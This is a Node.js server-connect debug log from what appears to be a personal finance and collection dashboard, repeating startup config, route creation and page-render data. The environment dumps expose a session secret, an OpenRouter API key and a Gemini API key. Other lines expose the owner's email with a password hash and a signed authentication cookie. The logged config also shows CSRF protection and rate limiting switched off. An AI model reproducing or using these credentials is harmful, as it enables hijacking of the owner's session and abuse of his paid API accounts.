2026-05-14T19:47:31.651Z server-connect:output restrict: undefined
2026-05-16T20:36:48.100Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-16T20:36:50.369Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-16T20:36:51.231Z server-connect:setup:upload Upload middleware configured.
2026-05-16T20:36:51.231Z server-connect:secure CSRF Protection initialized
2026-05-16T20:36:51.237Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-16T20:36:51.237Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-16T20:36:51.240Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-16T20:36:51.242Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-16T20:36:51.248Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-16T20:36:51.254Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-16T20:36:51.265Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-16T20:36:51.278Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-16T20:36:51.284Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-16T20:36:51.286Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-16T20:36:51.288Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-16T20:36:51.292Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-16T20:36:51.298Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-16T20:36:51.308Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-16T20:36:51.312Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-16T20:36:51.385Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-16T20:36:51.386Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-16T20:36:51.390Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-16T20:36:51.396Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-16T20:36:51.400Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-16T20:36:51.402Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-16T20:36:51.409Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-16T20:36:51.411Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-16T20:36:51.417Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-16T20:36:51.419Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-16T20:36:51.423Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-16T20:36:51.425Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-16T20:36:51.427Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-16T20:36:51.433Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-16T20:36:51.435Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-16T20:36:51.437Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-16T20:36:51.439Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-16T20:36:51.443Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-16T20:36:51.445Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-16T20:36:51.451Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-16T20:36:51.454Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-16T20:36:51.456Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-16T20:36:51.466Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-17T20:08:05.694Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-17T20:08:09.886Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-17T20:08:25.449Z server-connect:setup:upload Upload middleware configured.
2026-05-17T20:08:25.450Z server-connect:secure CSRF Protection initialized
2026-05-17T20:08:25.457Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-17T20:08:25.458Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-17T20:08:25.462Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-17T20:08:25.464Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-17T20:08:25.470Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-17T20:08:25.472Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-17T20:08:25.485Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-17T20:08:25.499Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-17T20:08:25.504Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-17T20:08:25.504Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-17T20:08:25.507Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-17T20:08:25.512Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-17T20:08:25.518Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-17T20:08:25.527Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-17T20:08:25.530Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-17T20:08:25.602Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-17T20:08:25.602Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-17T20:08:25.607Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-17T20:08:25.614Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-17T20:08:25.618Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-17T20:08:25.618Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-17T20:08:25.627Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-17T20:08:25.628Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-17T20:08:25.634Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-17T20:08:25.636Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-17T20:08:25.640Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-17T20:08:25.643Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-17T20:08:25.643Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-17T20:08:25.650Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-17T20:08:25.651Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-17T20:08:25.655Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-17T20:08:25.655Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-17T20:08:25.660Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-17T20:08:25.663Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-17T20:08:25.668Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-17T20:08:25.672Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-17T20:08:25.673Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-17T20:08:25.683Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-18T02:53:06.624Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-18T02:53:08.833Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-18T02:53:09.694Z server-connect:setup:upload Upload middleware configured.
2026-05-18T02:53:09.694Z server-connect:secure CSRF Protection initialized
2026-05-18T02:53:09.700Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-18T02:53:09.703Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-18T02:53:09.703Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-18T02:53:09.705Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-18T02:53:09.715Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-18T02:53:09.716Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-18T02:53:09.730Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-18T02:53:09.744Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-18T02:53:09.745Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-18T02:53:09.748Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-18T02:53:09.750Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-18T02:53:09.754Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-18T02:53:09.760Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-18T02:53:09.769Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-18T02:53:09.773Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-18T02:53:09.844Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-18T02:53:09.845Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-18T02:53:09.851Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-18T02:53:09.855Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-18T02:53:09.859Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-18T02:53:09.861Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-18T02:53:09.869Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-18T02:53:09.871Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-18T02:53:09.877Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-18T02:53:09.879Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-18T02:53:09.883Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-18T02:53:09.885Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-18T02:53:09.888Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-18T02:53:09.894Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-18T02:53:09.896Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-18T02:53:09.898Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-18T02:53:09.900Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-18T02:53:09.904Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-18T02:53:09.906Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-18T02:53:09.912Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-18T02:53:09.916Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-18T02:53:09.918Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-18T02:53:09.928Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-18T02:53:10.460Z server-connect:router Serving templateView /
2026-05-18T02:53:10.465Z server-connect:app Executing action step identify
2026-05-18T02:53:10.465Z server-connect:app options: { provider: 'security' }
2026-05-18T02:53:10.474Z server-connect:auth No login cookie found
2026-05-18T02:53:10.474Z server-connect:output identity: false
2026-05-18T02:53:10.475Z server-connect:app Executing action step restrict
2026-05-18T02:53:10.475Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-18T02:53:10.479Z server-connect:output restrict: undefined
2026-05-18T02:53:10.520Z server-connect:router Serving templateView /login
2026-05-18T02:53:10.521Z server-connect:app Executing action step identify
2026-05-18T02:53:10.521Z server-connect:app options: { provider: 'security' }
2026-05-18T02:53:10.521Z server-connect:auth No login cookie found
2026-05-18T02:53:10.521Z server-connect:output identity: false
2026-05-18T02:53:10.521Z server-connect:router Render template layouts/authentication
2026-05-18T02:53:10.522Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en',
    'user-agent': 'Scrapy/2.13.4 (+https://scrapy.org)',
    'accept-encoding': 'gzip',
    host: 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-for': '34.91.100.7',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-19T02:53:10.518Z,
      originalMaxAge: 86399999,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.91.100.7',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en',
    HTTP_USER_AGENT: 'Scrapy/2.13.4 (+https://scrapy.org)',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-FOR': '34.91.100.7',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-05-18T06:00:13.004Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-18T06:00:14.889Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-18T06:00:15.812Z server-connect:setup:upload Upload middleware configured.
2026-05-18T06:00:15.813Z server-connect:secure CSRF Protection initialized
2026-05-18T06:00:15.818Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-18T06:00:15.885Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-18T06:00:15.887Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-18T06:00:15.888Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-18T06:00:15.895Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-18T06:00:15.900Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-18T06:00:15.912Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-18T06:00:15.926Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-18T06:00:15.929Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-18T06:00:15.930Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-18T06:00:15.933Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-18T06:00:15.936Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-18T06:00:15.943Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-18T06:00:15.953Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-18T06:00:15.957Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-18T06:00:16.029Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-18T06:00:16.030Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-18T06:00:16.034Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-18T06:00:16.041Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-18T06:00:16.044Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-18T06:00:16.046Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-18T06:00:16.054Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-18T06:00:16.058Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-18T06:00:16.063Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-18T06:00:16.066Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-18T06:00:16.069Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-18T06:00:16.071Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-18T06:00:16.073Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-18T06:00:16.079Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-18T06:00:16.081Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-18T06:00:16.083Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-18T06:00:16.086Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-18T06:00:16.089Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-18T06:00:16.091Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-18T06:00:16.097Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-18T06:00:16.100Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-18T06:00:16.102Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-18T06:00:16.112Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-18T06:00:16.725Z server-connect:router Serving templateView /
2026-05-18T06:00:16.768Z server-connect:app Executing action step identify
2026-05-18T06:00:16.769Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:16.831Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-05-18T06:00:16.841Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-05-18T06:00:16.894Z server-connect:output identity: 1
2026-05-18T06:00:16.894Z server-connect:app Executing action step restrict
2026-05-18T06:00:16.894Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-18T06:00:16.895Z server-connect:output restrict: undefined
2026-05-18T06:00:16.896Z server-connect:app Executing action step restrict
2026-05-18T06:00:16.896Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-18T06:00:16.896Z server-connect:output restrict: undefined
2026-05-18T06:00:16.896Z server-connect:router Render template layouts/main
2026-05-18T06:00:16.897Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AQNtTTKyPPNYe2YJvbO91BQ%3D%3D.op7kpLPz1yLqUi2PI4%2Fo75lYqTl5tNxktaQhb0gqaPwXOxWRwZZ6XHwMUtHuOdIsYhpby1XdNitDGmt0pIFFZ8jO2ZdTyLJe8FZMiyM1a7pVXUvAdphxILo1Rd42wumqUQ5rKPsYYezQw2jlkOI0efi%2B21uqZAXV%2FmUQT8OskDY%3D.7SIqVfvez9%2F4mEdJXmq5Bqx2ZkoIfyzUL3XSaI79Gks',
    'x-forwarded-for': '49.43.182.136',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-19T06:00:16.722Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.182.136',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AQNtTTKyPPNYe2YJvbO91BQ%3D%3D.op7kpLPz1yLqUi2PI4%2Fo75lYqTl5tNxktaQhb0gqaPwXOxWRwZZ6XHwMUtHuOdIsYhpby1XdNitDGmt0pIFFZ8jO2ZdTyLJe8FZMiyM1a7pVXUvAdphxILo1Rd42wumqUQ5rKPsYYezQw2jlkOI0efi%2B21uqZAXV%2FmUQT8OskDY%3D.7SIqVfvez9%2F4mEdJXmq5Bqx2ZkoIfyzUL3XSaI79Gks',
    'HTTP_X_FORWARDED-FOR': '49.43.182.136',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
